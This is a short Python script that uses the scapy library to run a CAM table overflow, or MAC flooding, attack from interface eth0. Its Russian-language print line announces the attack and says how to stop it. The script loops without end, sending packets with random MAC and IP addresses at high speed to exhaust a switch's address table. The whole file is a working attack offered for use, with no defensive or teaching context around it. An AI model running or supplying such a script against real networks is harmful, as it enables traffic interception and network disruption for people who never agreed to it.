from scapy.all import Ether, IP, RandMAC, RandIP, sendp
interface = "eth0"
print("Запуск атаки CAM Table Overflow... Нажми Ctrl+C для остановки.")
packet = Ether(src=RandMAC(), dst=RandMAC()) / IP(src=RandIP(), dst=RandIP())
sendp(packet, iface=interface, loop=1, inter=0.0001)